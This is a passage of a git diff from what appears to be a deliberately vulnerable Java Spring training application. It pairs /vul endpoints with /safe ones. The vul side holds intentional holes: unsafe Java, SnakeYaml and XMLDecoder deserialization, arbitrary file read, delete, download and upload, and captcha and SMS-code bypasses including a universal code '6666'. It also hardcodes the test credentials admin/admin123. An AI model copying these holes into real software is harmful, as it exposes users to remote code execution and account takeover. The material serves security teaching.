HttpSession session) { String currentUser = userDetails.getUsername(); Map result = new HashMap<>(); String referer = request.getHeader("referer"); diff --git a/src/main/java/top/whgojp/modules/deserialize/readobject/controller/ReadObjectController.java b/src/main/java/top/whgojp/modules/deserialize/readobject/controller/ReadObjectController.java index d3fd972..e014f8e 100644 --- a/src/main/java/top/whgojp/modules/deserialize/readobject/controller/ReadObjectController.java +++ b/src/main/java/top/whgojp/modules/deserialize/readobject/controller/ReadObjectController.java @@ -8,6 +8,9 @@ import org.springframework.web.bind.annotation.*; import top.whgojp.common.utils.R; import top.whgojp.modules.sqli.entity.Sqli; +import java.io.ByteArrayInputStream; +import java.io.ObjectInputStream; + import java.io.ByteArrayInputStream; import java.util.Base64; @@ -30,26 +33,49 @@ public String readObject(){ return "vul/deserialize/readObject"; } - @RequestMapping("/vulReadObject") +// @RequestMapping("/vul") +// @ResponseBody +// public R vul(String payload) { +// System.setProperty("org.apache.commons.collections.enableUnsafeSerialization", "true"); +// log.info("Java反序列化:"+payload); +// try { +// payload = payload.replace(" ", "+"); +// byte[] bytes = Base64.getDecoder().decode(payload); +// ByteArrayInputStream stream = new ByteArrayInputStream(bytes); +// java.io.ObjectInputStream in = new java.io.ObjectInputStream(stream); +// in.readObject(); +// in.close(); +// return R.ok("[+]Java反序列化:ObjectInputStream.readObject()"); +// } catch (Exception e) { +// return R.error("[-]请输入正确的Payload!\n"+e.getMessage()); +// } +// } + @RequestMapping("/vul") @ResponseBody - public R vulReadObject(String payload) { + public R vul(String payload) { System.setProperty("org.apache.commons.collections.enableUnsafeSerialization", "true"); - log.info("Java反序列化:"+payload); + log.info("Java反序列化:" + payload); try { payload = payload.replace(" ", "+"); byte[] bytes = Base64.getDecoder().decode(payload); ByteArrayInputStream stream = new ByteArrayInputStream(bytes); - java.io.ObjectInputStream in = new java.io.ObjectInputStream(stream); - in.readObject(); + ObjectInputStream in = new ObjectInputStream(stream); + + Object obj = in.readObject(); + log.info("反序列化对象:" + obj.toString()); + in.close(); - return R.ok("[+]Java反序列化:ObjectInputStream.readObject()"); + return R.ok("[+]Java反序列化:"+obj); } catch (Exception e) { - return R.error("[-]请输入正确的Payload!\n"+e.getMessage()); + return R.error("[-] 请输入正确的 Payload!\n" + e.getMessage()); } } - @RequestMapping("/safeReadObject1") + + + + @RequestMapping("/safe1") @ResponseBody - public R safeReadObject1(String payload) { + public R safe1(String payload) { // 安全措施:禁用不安全的反序列化 System.setProperty("org.apache.commons.collections.enableUnsafeSerialization", "false"); log.info("Java反序列化:"+payload); @@ -65,9 +91,9 @@ public R safeReadObject1(String payload) { return R.error("[-]请输入正确的Payload!\n"+e.getMessage()); } } - @RequestMapping("/safeReadObject2") + @RequestMapping("/safe2") @ResponseBody - public R safeReadObject2(String payload) { + public R safe2(String payload) { log.info("Java反序列化:"+payload); try { payload = payload.replace(" ", "+"); diff --git a/src/main/java/top/whgojp/modules/deserialize/snakeyaml/controller/controller/SnakeYamlController.java b/src/main/java/top/whgojp/modules/deserialize/snakeyaml/controller/controller/SnakeYamlController.java index 0f4d01d..25c3792 100644 --- a/src/main/java/top/whgojp/modules/deserialize/snakeyaml/controller/controller/SnakeYamlController.java +++ b/src/main/java/top/whgojp/modules/deserialize/snakeyaml/controller/controller/SnakeYamlController.java @@ -29,20 +29,22 @@ public String snakeYaml(){ return "vul/deserialize/snakeYaml"; } - @RequestMapping("/vulSnakeYaml") + @RequestMapping("/vul") @ResponseBody - public R vulSnakeYaml(String payload) { + public R vul(String payload) { + log.info("payload:"+payload); Yaml y = new Yaml(); y.load(payload); return R.ok("[+]Java反序列化:SnakeYaml原生漏洞"); } - @PostMapping("/safeSnakeYaml") - public R safeSnakeYaml(String payload) { + @PostMapping("/safe") + @ResponseBody + public R safe(String payload) { try { Yaml y = new Yaml(new SafeConstructor()); y.load(payload); - return R.ok("[-]Java反序列化:SnakeYaml安全构造"); + return R.ok("[+]Java反序列化:SnakeYaml安全构造"); } catch (Exception e) { return R.error("[-]Java反序列化:SnakeYaml反序列化失败"); } diff --git a/src/main/java/top/whgojp/modules/deserialize/xmldecoder/controller/XMLDecoderController.java b/src/main/java/top/whgojp/modules/deserialize/xmldecoder/controller/XMLDecoderController.java index 2b14af1..11e948c 100644 --- a/src/main/java/top/whgojp/modules/deserialize/xmldecoder/controller/XMLDecoderController.java +++ b/src/main/java/top/whgojp/modules/deserialize/xmldecoder/controller/XMLDecoderController.java @@ -1,21 +1,22 @@ package top.whgojp.modules.deserialize.xmldecoder.controller; import io.swagger.annotations.Api; -import io.swagger.annotations.ApiOperation; + import lombok.extern.slf4j.Slf4j; import org.springframework.stereotype.Controller; -import org.springframework.ui.Model; -import org.springframework.web.bind.annotation.CrossOrigin; -import org.springframework.web.bind.annotation.GetMapping; -import org.springframework.web.bind.annotation.RequestMapping; -import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.*; import top.whgojp.common.utils.R; -import java.beans.XMLDecoder; -import java.beans.XMLEncoder; -import java.io.*; +import javax.xml.parsers.SAXParser; +import javax.xml.parsers.SAXParserFactory; +import java.io.ByteArrayInputStream; import java.nio.charset.StandardCharsets; -import java.util.HashMap; +import java.util.ArrayList; +import java.util.List; +import org.xml.sax.InputSource; +import org.xml.sax.Attributes; +import org.xml.sax.SAXException; +import org.xml.sax.helpers.DefaultHandler; /** * @description 反序列化 - XMLDecoder @@ -34,9 +35,9 @@ public String xmlDecoder() { return "vul/deserialize/xmlDecoder"; } - @RequestMapping("/vulXmlDecoder") + @RequestMapping("/vul") @ResponseBody - public R vulXmlDecoder(String payload) { + public R vul(String payload) { String[] strCmd = payload.split(" "); StringBuilder xml = new StringBuilder() .append("") @@ -51,11 +52,80 @@ public R vulXmlDecoder(String payload) { try { new java.beans.XMLDecoder(new ByteArrayInputStream(xml.toString().getBytes(StandardCharsets.UTF_8))) .readObject().toString(); - return R.ok("命令执行成功"); + return R.ok("[+]命令执行成功"); } catch (Exception e) { - return R.error("命令执行失败: " + e.getMessage()); + return R.error("[-]命令执行失败: " + e.getMessage()); } } + @RequestMapping("/safe") + @ResponseBody + public R safe(@RequestParam String payload) { + try { + // 构建 XML 字符串 + StringBuilder xml = new StringBuilder() + .append("") + .append("") + .append("") + .append(""); + + for (int i = 0; i < payload.split(" ").length; i++) { + xml.append("") + .append(payload.split(" ")[i]).append(""); + } + + xml.append(""); + + // 使用 SAX 解析器解析 XML + SAXParserFactory factory = SAXParserFactory.newInstance(); + SAXParser saxParser = factory.newSAXParser(); + CommandHandler handler = new CommandHandler(); + + // 将 ByteArrayInputStream 包装成 InputSource + InputSource inputSource = new InputSource(new ByteArrayInputStream(xml.toString().getBytes(StandardCharsets.UTF_8))); + saxParser.parse(inputSource, handler); + + // 获取解析后的命令参数 + List args = handler.getArgs(); + + // 处理解析后的命令参数 + System.out.println("Parsed command: " + String.join(" ", args)); + + return R.ok("[+]命令解析成功:"+String.join(" ", args)); + } catch (Exception e) { + return R.error("[-]命令解析失败: " + e.getMessage()); + } + } + + // SAX 处理器 + static class CommandHandler extends DefaultHandler { + private List args = new ArrayList<>(); + private boolean inString = false; + + @Override + public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException { + if ("string".equals(qName)) { + inString = true; + } + } + + @Override + public void characters(char[] ch, int start, int length) throws SAXException { + if (inString) { + args.add(new String(ch, start, length)); + } + } + + @Override + public void endElement(String uri, String localName, String qName) throws SAXException { + if ("string".equals(qName)) { + inString = false; + } + } + + public List getArgs() { + return args; + } + } } diff --git a/src/main/java/top/whgojp/modules/file/controller/DeleteController.java b/src/main/java/top/whgojp/modules/file/controller/DeleteController.java index c9ea204..098ecb5 100644 --- a/src/main/java/top/whgojp/modules/file/controller/DeleteController.java +++ b/src/main/java/top/whgojp/modules/file/controller/DeleteController.java @@ -33,11 +33,11 @@ public String fileDelete() { return "vul/file/delete"; } - @ApiOperation(value = "漏洞环境:任意文件删除", notes = "原生漏洞环境,未做任何限制") - @RequestMapping("/deleteFile") + @ApiOperation(value = "漏洞场景:任意文件删除", notes = "原生漏洞场景,未做任何限制") + @RequestMapping("/vul") @ResponseBody @SneakyThrows - public String vulArbitraryFileDeletion(@RequestParam("filePath") String filePath) { + public String vul(@RequestParam("filePath") String filePath) { String currentPath = System.getProperty("user.dir"); log.info("当前路径:"+currentPath); File file = new File(filePath); @@ -54,11 +54,11 @@ public String vulArbitraryFileDeletion(@RequestParam("filePath") String filePath @Autowired private SysConstant sysConstant; - @ApiOperation(value = "安全环境:限制文件删除", notes = "仅允许删除特定目录中的文件") - @RequestMapping("/safeDeleteFile") + @ApiOperation(value = "安全场景:限制文件删除", notes = "仅允许删除特定目录中的文件") + @RequestMapping("/safe") @ResponseBody @SneakyThrows - public String safeFileDelete(@RequestParam("fileName") String fileName) { + public String safe(@RequestParam("fileName") String fileName) { String baseDir = sysConstant.getUploadFolder(); // 限制删除文件所在目录为 /static/upload/下 File file = new File(baseDir, fileName); boolean deleted = false; diff --git a/src/main/java/top/whgojp/modules/file/controller/DownloadController.java b/src/main/java/top/whgojp/modules/file/controller/DownloadController.java index a0bc07f..099d9b1 100644 --- a/src/main/java/top/whgojp/modules/file/controller/DownloadController.java +++ b/src/main/java/top/whgojp/modules/file/controller/DownloadController.java @@ -4,12 +4,16 @@ import io.swagger.annotations.ApiOperation; import lombok.extern.slf4j.Slf4j; import org.apache.log4j.lf5.util.StreamUtils; +import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.*; +import top.whgojp.common.constant.SysConstant; import javax.servlet.http.HttpServletResponse; import java.io.*; +import java.nio.file.Path; +import java.nio.file.Paths; /** * @description 任意文件类-文件下载 @@ -29,8 +33,8 @@ public String fileDownload() { } @ApiOperation(value = "下载文件", notes = "下载指定文件") - @RequestMapping("/downloadFile") - public void downloadFile(@RequestParam("fileName") String fileName, HttpServletResponse response) throws IOException { + @RequestMapping("/vul") + public void vul(@RequestParam("fileName") String fileName, HttpServletResponse response) throws IOException { File file = new File(fileName); if (file.exists() && file.isFile()) { @@ -50,23 +54,16 @@ public void downloadFile(@RequestParam("fileName") String fileName, HttpServletR } } - @ApiOperation(value = "下载文件", notes = "下载指定文件") - @RequestMapping("/safeDownloadFile") - public void safeDownloadFile(@RequestParam("fileName") String fileName, HttpServletResponse response) throws IOException { - // Define a safe directory to limit file access - String baseDir = "/path/to/safe/directory/"; - - // Validate the file name to prevent directory traversal attacks + @Autowired + private SysConstant sysConstant; + @RequestMapping("/safe") + public void safe(@RequestParam("fileName") String fileName, HttpServletResponse response) throws IOException { + String baseDir = sysConstant.getUploadFolder(); if (!isValidFileName(fileName)) { - log.warn("Invalid file name: {}", fileName); response.sendError(HttpServletResponse.SC_BAD_REQUEST, "非法文件名:" + fileName); return; } - - // Construct the full file path File file = new File(baseDir, fileName); - - // Ensure the file is within the allowed directory if (file.exists() && file.isFile() && file.getCanonicalPath().startsWith(new File(baseDir).getCanonicalPath())) { response.setContentType("application/octet-stream"); response.setHeader("Content-Disposition", "attachment; filename=\"" + file.getName() + "\""); @@ -75,19 +72,15 @@ public void safeDownloadFile(@RequestParam("fileName") String fileName, HttpServ StreamUtils.copy(fis, os); os.flush(); } catch (FileNotFoundException e) { - log.error("File not found: {}", fileName, e); - response.sendError(HttpServletResponse.SC_NOT_FOUND, "文件未找到:" + fileName); + throw new RuntimeException(e); } catch (IOException e) { - log.error("Error reading file: {}", fileName, e); - response.sendError(HttpServletResponse.SC_INTERNAL_SERVER_ERROR, "文件读取错误:" + fileName); + throw new RuntimeException(e); } } else { - log.warn("File does not exist or is not accessible: {}", fileName); response.sendError(HttpServletResponse.SC_NOT_FOUND, "文件不存在或不可访问:" + fileName); } } - // Helper method to validate file names private boolean isValidFileName(String fileName) { return fileName != null && fileName.matches("^[\\w,\\s-]+\\.[A-Za-z]{3,4}$"); } diff --git a/src/main/java/top/whgojp/modules/file/controller/ReadController.java b/src/main/java/top/whgojp/modules/file/controller/ReadController.java index 7397dce..8008e64 100644 --- a/src/main/java/top/whgojp/modules/file/controller/ReadController.java +++ b/src/main/java/top/whgojp/modules/file/controller/ReadController.java @@ -41,9 +41,9 @@ public String fileRead() { @ApiOperation(value = "读取文件内容", notes = "读取指定文件的内容") - @RequestMapping("/readFile") + @RequestMapping("/vul") @ResponseBody - public String readFile(@RequestParam("fileName") String fileName) throws IOException { + public String vul(@RequestParam("fileName") String fileName) throws IOException { String currentPath = System.getProperty("user.dir"); log.info(currentPath); File file = new File(fileName); @@ -64,11 +64,11 @@ public String readFile(@RequestParam("fileName") String fileName) throws IOExcep private SysConstant sysConstant; @ApiOperation(value = "安全读取文件内容", notes = "仅允许读取特定目录中的文件内容") - @RequestMapping("/safeReadFile") + @RequestMapping("/safe") @ResponseBody - public String safeReadFile(@RequestParam("fileName") String fileName) throws IOException { - String baseDir = sysConstant.getUploadFolder(); // 限制删除文件所在目录为 /static/upload/下 - Path filePath = Paths.get(baseDir, fileName).normalize(); // 规范化路径 + public String safe(@RequestParam("fileName") String fileName) throws IOException { + String baseDir = sysConstant.getUploadFolder(); + Path filePath = Paths.get(baseDir, fileName).normalize(); // 确保文件路径在允许的目录中 if (!filePath.startsWith(Paths.get(baseDir))) { return "访问被拒绝:文件路径不合法"; diff --git a/src/main/java/top/whgojp/modules/file/controller/UploadController.java b/src/main/java/top/whgojp/modules/file/controller/UploadController.java index 6570938..8a05821 100644 --- a/src/main/java/top/whgojp/modules/file/controller/UploadController.java +++ b/src/main/java/top/whgojp/modules/file/controller/UploadController.java @@ -38,11 +38,11 @@ public String fileUpload() { return "vul/file/upload"; } - @ApiOperation(value = "漏洞环境:任意文件上传", notes = "原生漏洞环境,未做任何限制") - @RequestMapping("/anyFIleUpload") + @ApiOperation(value = "漏洞场景:任意文件上传", notes = "原生漏洞场景,未做任何限制") + @RequestMapping("/vul") @ResponseBody @SneakyThrows - public R vul1AnyFIleUpload(@RequestParam("file") MultipartFile file, HttpServletRequest request) { + public R vul(@RequestParam("file") MultipartFile file, HttpServletRequest request) { String res; String suffix = FilenameUtils.getExtension(file.getOriginalFilename()); String path = request.getScheme() + "://" + request.getServerName() + ":" + request.getServerPort() + "/file/"; @@ -50,10 +50,10 @@ public R vul1AnyFIleUpload(@RequestParam("file") MultipartFile file, HttpServlet return R.ok(res); } @ApiOperation(value = "安全代码:文件上传白名单", notes = "检测文件后缀,做白名单过滤") - @RequestMapping("/anyFIleUploadWhiteList") + @RequestMapping("/safe") @ResponseBody @SneakyThrows - public R safe1AnyFIleUploadWhiteList(@RequestParam("file") MultipartFile file, HttpServletRequest request) { + public R safe(@RequestParam("file") MultipartFile file, HttpServletRequest request) { String res; String suffix = FilenameUtils.getExtension(file.getOriginalFilename()); // 后缀白名单检查 diff --git a/src/main/java/top/whgojp/modules/loginconfront/LoginConfrontController.java b/src/main/java/top/whgojp/modules/funny/controller/HijackController.java similarity index 50% rename from src/main/java/top/whgojp/modules/loginconfront/LoginConfrontController.java rename to src/main/java/top/whgojp/modules/funny/controller/HijackController.java index 1d1b0db..ff3e9a9 100644 --- a/src/main/java/top/whgojp/modules/loginconfront/LoginConfrontController.java +++ b/src/main/java/top/whgojp/modules/funny/controller/HijackController.java @@ -1,4 +1,4 @@ -package top.whgojp.modules.loginconfront; +package top.whgojp.modules.funny.controller; import io.swagger.annotations.Api; import lombok.extern.slf4j.Slf4j; @@ -7,19 +7,20 @@ import org.springframework.web.bind.annotation.RequestMapping; /** - * @description 登录框对抗 + * @description <功能描述> * @author: whgojp * @email: whgojp@foxmail.com - * @Date: 2024/8/8 23:16 + * @Date: 2025/1/17 16:31 */ @Slf4j -@Api(value = "LoginConfrontController", tags = "敏感信息泄漏-测试页面") +@Api(value = "HijackController", tags = "劫持模块") @Controller @CrossOrigin(origins = "*") -@RequestMapping("/loginConfront") -public class LoginConfrontController { - @RequestMapping("") - public String CeShi() { - return "vul/loginconfront/loginConfront"; +@RequestMapping("/funny/hijack") +public class HijackController { + @RequestMapping() + public String hijack(){ + return "vul/funny/hijack"; } + } diff --git a/src/main/java/top/whgojp/modules/infoleak/controller/DirTraversalController.java b/src/main/java/top/whgojp/modules/infoleak/controller/DirTraversalController.java index f47e940..d8afe06 100644 --- a/src/main/java/top/whgojp/modules/infoleak/controller/DirTraversalController.java +++ b/src/main/java/top/whgojp/modules/infoleak/controller/DirTraversalController.java @@ -35,9 +35,9 @@ public String DirTraversal() { return "vul/infoleak/dirTraversal"; } - @GetMapping("/listdir") + @GetMapping("/vul") @ResponseBody - public String listDirectory(@RequestParam String dir) { + public String vul(@RequestParam String dir) { String staticFolderPath = sysConstant.getStaticFolder(); File baseDir = new File(staticFolderPath); File requestedDir = new File(baseDir, dir); @@ -91,10 +91,10 @@ public String listDirectory(@RequestParam String dir) { return response.toString(); } - @GetMapping("/safe1listdir") + @GetMapping("/safe1") @ResponseBody @SneakyThrows - public String safe1ListDirectory(@RequestParam String dir) { + public String safe1(@RequestParam String dir) { String staticFolderPath = sysConstant.getStaticFolder(); File baseDir = new File(staticFolderPath); @@ -155,9 +155,9 @@ public String safe1ListDirectory(@RequestParam String dir) { response.append(""); return response.toString(); } - @GetMapping("/safe2listdir") + @GetMapping("/safe2") @ResponseBody - public String safe2ListDirectory(@RequestParam String dir) { + public String safe2(@RequestParam String dir) { String staticFolderPath = sysConstant.getStaticFolder(); File baseDir = new File(staticFolderPath); File requestedDir = new File(baseDir, dir); diff --git a/src/main/java/top/whgojp/modules/infoleak/controller/JsFileLeakController.java b/src/main/java/top/whgojp/modules/infoleak/controller/JsFileLeakController.java index 2a0a546..184db1a 100644 --- a/src/main/java/top/whgojp/modules/infoleak/controller/JsFileLeakController.java +++ b/src/main/java/top/whgojp/modules/infoleak/controller/JsFileLeakController.java @@ -28,7 +28,7 @@ public String hardCoding(){ } @RequestMapping("/loginSuccess") public String loginSuccess(){ - return "/vul/infoleak/loginSuccess"; + return "vul/infoleak/loginSuccess"; } } diff --git a/src/main/java/top/whgojp/modules/logic/authoritybypass/controller/LevelController.java b/src/main/java/top/whgojp/modules/logic/authoritybypass/controller/LevelController.java deleted file mode 100644 index 721316d..0000000 --- a/src/main/java/top/whgojp/modules/logic/authoritybypass/controller/LevelController.java +++ /dev/null @@ -1,11 +0,0 @@ -package top.whgojp.modules.logic.authoritybypass.controller; - -/** - * @description <功能描述> - * @author: whgojp - * @email: whgojp@foxmail.com - * @Date: 2024/8/28 22:07 - */ -public class LevelController { - -} diff --git a/src/main/java/top/whgojp/modules/logic/authoritybypass/controller/VerticalController.java b/src/main/java/top/whgojp/modules/logic/authoritybypass/controller/VerticalController.java deleted file mode 100644 index afc813e..0000000 --- a/src/main/java/top/whgojp/modules/logic/authoritybypass/controller/VerticalController.java +++ /dev/null @@ -1,10 +0,0 @@ -package top.whgojp.modules.logic.authoritybypass.controller; - -/** - * @description <功能描述> - * @author: whgojp - * @email: whgojp@foxmail.com - * @Date: 2024/8/28 22:06 - */ -public class VerticalController { -} diff --git a/src/main/java/top/whgojp/modules/logic/captcha/controller/GraphicController.java b/src/main/java/top/whgojp/modules/logic/captcha/controller/GraphicController.java new file mode 100644 index 0000000..7e8ff96 --- /dev/null +++ b/src/main/java/top/whgojp/modules/logic/captcha/controller/GraphicController.java @@ -0,0 +1,188 @@ +package top.whgojp.modules.logic.captcha.controller; + +import cn.hutool.captcha.CaptchaUtil; +import cn.hutool.captcha.ShearCaptcha; +import io.swagger.annotations.Api; +import lombok.extern.slf4j.Slf4j; +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.*; +import top.whgojp.common.utils.R; + +import javax.servlet.http.HttpServletResponse; +import javax.servlet.http.HttpSession; +import java.io.IOException; + +/** + * @description 逻辑漏洞-验证码安全 + * @author: whgojp + * @email: whgojp@foxmail.com + * @Date: 2024/11/13 22:47 + */ +@Slf4j +@Api(value = "GraphicController", tags = "逻辑漏洞-验证码安全") +@Controller +@CrossOrigin(origins = "*") +@RequestMapping("/logic/captcha/graphic") +public class GraphicController { + + @RequestMapping("") + public String graphic() { + return "vul/logic/captcha/graphic"; + } + + // 测试账号密码 + final String REAL_USERNAME = "admin"; + final String REAL_PASSWORD = "admin123"; + + @GetMapping("/img") + public void captcha(HttpSession session, HttpServletResponse response) throws Exception { + response.setContentType("image/jpeg"); + response.setHeader("Pragma", "no-cache"); + response.setHeader("Cache-Control", "no-cache"); + + //定义图形验证码的长、宽、验证码字符数、干扰线宽度 + ShearCaptcha shearCaptcha = CaptchaUtil.createShearCaptcha(90, 30, 4, 3); + try { + //输出 + shearCaptcha.write(response.getOutputStream()); + String captchaCode = shearCaptcha.getCode(); + session.setAttribute("vulCaptcha", captchaCode); + session.setAttribute("captchaCreationTime", System.currentTimeMillis()); + log.info("session id {}, 生成的验证码 {}", session.getId(), captchaCode); + + } catch (IOException e) { + throw new RuntimeException(e); + } + } + + public Boolean verifyCaptcha(String captchaInput, HttpSession session) { + String sessionCaptcha = (String) session.getAttribute("vulCaptcha"); + Long captchaCreationTime = (Long) session.getAttribute("captchaCreationTime"); + // 如果没有验证码或生成时间,返回失败 + if (sessionCaptcha == null || captchaCreationTime == null) { +// return R.error("验证码已失效,请刷新后重试"); + return false; + } + + // 验证码有效期为300秒(5分钟) + long captchaExpiryTime = 300 * 1000; // 300秒转换为毫秒 + + // 检查验证码是否过期 + if (System.currentTimeMillis() - captchaCreationTime > captchaExpiryTime) { + session.removeAttribute("vulCaptcha"); + session.removeAttribute("captchaCreationTime"); +// return R.error("验证码已过期,请刷新后重试"); + return false; + } + + // 验证输入的验证码 + if (sessionCaptcha.equalsIgnoreCase(captchaInput)) { + // 验证成功后清除 session 中的验证码 +// session.removeAttribute("vulCaptcha"); +// session.removeAttribute("captchaCreationTime"); +// return R.ok("验证码验证成功"); + return true; + } else { +// return R.ok("验证码错误,请重新输入"); + return false; + } + + } + + @PostMapping("/vul1") + @ResponseBody + public R vul1(String username, String password, String captcha, HttpSession session) { + if (verifyCaptcha(captcha, session)) { + log.info("验证码有效,校验成功"); + if (REAL_USERNAME.equals(username) && REAL_PASSWORD.equals(password)) { + return R.ok("账号爆破成功!用户名:" + username + ",密码:" + password); + } else { + return R.error("账号或密码错误!"); + } + } else { + log.info("验证码错误!(5分钟内有效)"); + return R.error("验证码错误!(5分钟内有效)"); + } + } + + @PostMapping("/vul2") + @ResponseBody + public R vul2(String username, String password, String captcha, HttpSession session) { + String sessionCaptcha = (String) session.getAttribute("vulCaptcha"); + // 万能验证码:6666 + if ("6666".equals(captcha) || (sessionCaptcha != null && sessionCaptcha.equalsIgnoreCase(captcha))) { + // 及时清除旧验证码 + session.removeAttribute("vulCaptcha"); + if (REAL_USERNAME.equals(username) && REAL_PASSWORD.equals(password)) { + return R.ok("账号爆破成功!用户名:" + username + ",密码:" + password); + } else return R.error("账号或密码错误!"); + } else { + session.removeAttribute("vulCaptcha"); + return R.error("验证码错误!"); + } + } + + @PostMapping("/vul3") + @ResponseBody + public R vul3(String username, String password, String captcha, HttpSession session) { + String sessionCaptcha = (String) session.getAttribute("vulCaptcha"); + if (sessionCaptcha != null && sessionCaptcha.equalsIgnoreCase(captcha)) { + session.removeAttribute("vulCaptcha"); + if (REAL_USERNAME.equals(username) && REAL_PASSWORD.equals(password)) { + return R.ok("账号爆破成功!用户名:" + username + ",密码:" + password); + } else return R.error("账号或密码错误!"); + } else { + session.removeAttribute("vulCaptcha"); + return R.error("验证码错误!"); + } + } + @GetMapping("/safeImg") + public void safeImg(HttpSession session, HttpServletResponse response) throws Exception { + response.setContentType("image/jpeg"); + response.setHeader("Pragma", "no-cache"); + response.setHeader("Cache-Control", "no-cache"); + + //定义图形验证码的长、宽、验证码字符数、干扰线宽度 + ShearCaptcha shearCaptcha = CaptchaUtil.createShearCaptcha(90, 30, 6, 3); + try { + //输出 + shearCaptcha.write(response.getOutputStream()); + String captchaCode = shearCaptcha.getCode(); + session.setAttribute("safeCaptcha", captchaCode); + session.setAttribute("captchaTimestamp", System.currentTimeMillis()); + log.info("session id {}, 生成的验证码 {}", session.getId(), captchaCode); + + } catch (IOException e) { + throw new RuntimeException(e); + } + } + @PostMapping("/safe") + @ResponseBody + public R safe(String username, String password, String captcha, HttpSession session) { + String sessionCaptcha = (String) session.getAttribute("safeCaptcha"); + Long captchaTimestamp = (Long) session.getAttribute("captchaCreationTime"); + // 验证验证码是否已失效(1分钟有效) + if (captchaTimestamp == null || System.currentTimeMillis() - captchaTimestamp > 60 * 1000) { + session.removeAttribute("safeCaptcha"); + session.removeAttribute("captchaTimestamp"); + return R.error("验证码已失效,请重新获取!"); + } + // 校验验证码 + if (sessionCaptcha != null && sessionCaptcha.equalsIgnoreCase(captcha)) { + session.removeAttribute("safeCaptcha"); + session.removeAttribute("captchaTimestamp"); + // 校验账号密码 + if (REAL_USERNAME.equals(username) && REAL_PASSWORD.equals(password)) { + return R.ok("登录成功!用户名:" + username + ",密码:" + password); + } else { + return R.error("账号或密码错误!"); + } + } else { + session.removeAttribute("safeCaptcha"); + session.removeAttribute("captchaTimestamp"); + return R.error("验证码错误,请重新输入!"); + } + } + + +} diff --git a/src/main/java/top/whgojp/modules/logic/captcha/controller/SMSController.java b/src/main/java/top/whgojp/modules/logic/captcha/controller/SMSController.java new file mode 100644 index 0000000..c672772 --- /dev/null +++ b/src/main/java/top/whgojp/modules/logic/captcha/controller/SMSController.java @@ -0,0 +1,127 @@ +package top.whgojp.modules.logic.captcha.controller; + +import io.swagger.annotations.Api; +import lombok.extern.slf4j.Slf4j; +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.*; +import top.whgojp.common.utils.R; + +import javax.servlet.http.HttpSession; +import java.util.Random; + +/** + * @description 逻辑漏洞-验证码安全 + * @author: whgojp + * @email: whgojp@foxmail.com + * @Date: 2024/11/13 22:47 + */ +@Slf4j +@Api(value = "SMSController", tags = "逻辑漏洞-验证码安全") +@Controller +@CrossOrigin(origins = "*") +@RequestMapping("/logic/captcha/sms") +public class SMSController { + @RequestMapping("") + public String sms() { + return "vul/logic/captcha/sms"; + } + + @GetMapping("/code") + @ResponseBody + public R code(String phone, HttpSession session) { + if (phone == null || phone.isEmpty() || !phone.matches("^1[3-9]\\d{9}$")) { + return R.error("手机号格式不正确!"); + } + + Random random = new Random(); + // 随机生成6位数验证码 + String captcha = String.valueOf(100000 + random.nextInt(900000)); + session.setAttribute("phone", phone); + session.setAttribute("smsCode", captcha); + session.setAttribute("captchaTimestamp", System.currentTimeMillis()); + + System.out.println("发送短信验证码:" + captcha + " 给手机号:" + phone); + + return R.ok("发送验证码成功!" + captcha); + } + + @RequestMapping("/vul1") + @ResponseBody + public R vul1(String phone, String code, HttpSession session) { + if (phone == null || phone.isEmpty()) { + return R.error("手机号不能为空!"); + } + String sessionPhone = (String) session.getAttribute("phone"); + String sessionCaptcha = (String) session.getAttribute("smsCode"); + Long captchaTimestamp = (Long) session.getAttribute("captchaTimestamp"); + if (sessionPhone == null || sessionCaptcha == null || captchaTimestamp == null) { + return R.error("验证码已失效,请重新获取!"); + } + if (!sessionPhone.equals(phone)) { + return R.error("手机号与验证码不匹配!"); + } + if (System.currentTimeMillis() - captchaTimestamp > 5 * 60 * 1000) { + session.removeAttribute("phone"); + session.removeAttribute("smsCode"); + session.removeAttribute("captchaTimestamp"); + return R.error("验证码已过期,请重新获取!"); + } + if (!sessionCaptcha.equals(code)) { + return R.error("验证码错误,请重新输入!"); + } + session.removeAttribute("phone"); + session.removeAttribute("smsCode"); + session.removeAttribute("captchaTimestamp"); + return R.ok("验证通过!用户:"+phone); + } + + @GetMapping("/code2") + @ResponseBody + public R code2(String phone, HttpSession session) { + if (phone == null || phone.isEmpty() || !phone.matches("^1[3-9]\\d{9}$")) { + return R.error("手机号格式不正确!"); + } + + Random random = new Random(); + String captcha = String.valueOf(100000 + random.nextInt(900000)); + session.setAttribute("phone", phone); + session.setAttribute("smsCode", captcha); + session.setAttribute("captchaTimestamp", System.currentTimeMillis()); + + System.out.println("发送短信验证码:" + captcha + " 给手机号:" + phone); + + return R.ok("发送验证码成功!"); + } + @RequestMapping("/vul2") + @ResponseBody + public R vul2(String phone, String code, @RequestParam(required = false, defaultValue = "false") boolean code_verify, HttpSession session) { + if (phone == null || phone.isEmpty()) { + return R.error("手机号不能为空!"); + } + String sessionPhone = (String) session.getAttribute("phone"); + String sessionCaptcha = (String) session.getAttribute("smsCode"); + Long captchaTimestamp = (Long) session.getAttribute("captchaTimestamp"); + if (sessionPhone == null || sessionCaptcha == null || captchaTimestamp == null) { + return R.error("验证码已失效,请重新获取!"); + } + if (!sessionPhone.equals(phone)) { + return R.error("手机号与验证码不匹配!"); + } + if (System.currentTimeMillis() - captchaTimestamp > 5 * 60 * 1000) { + session.removeAttribute("phone"); + session.removeAttribute("smsCode"); + session.removeAttribute("captchaTimestamp"); + return R.error("验证码已过期,请重新获取!"); + } + if (code_verify){ + return R.ok("验证通过!用户:"+phone); + } + if (!sessionCaptcha.equals(code)) { + return R.error("验证码错误,请重新输入!"); + } + session.removeAttribute("phone"); + session.removeAttribute("smsCode"); + session.removeAttribute("captchaTimestamp"); + return R.ok("验证通过!用户:"+phone); + } +} diff --git a/src/main/java/top/whgojp/modules/logic/idor/controller/HorizontalController.java b/src/main/java/top/whgojp/modules/logic/idor/controller/HorizontalController.java new file mode 100644 index 0000000..7168d7d --- /dev/null +++ b/src/main/java/top/whgojp/modules/logic/idor/controller/HorizontalController.java @@ -0,0 +1,62 @@ +package top.whgojp.modules.logic.idor.controller; + +import io.swagger.annotations.Api; +import lombok.extern.slf4j.Slf4j; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.security.core.context.SecurityContextHolder; +import org.springframework.stereotype.Controller; +import 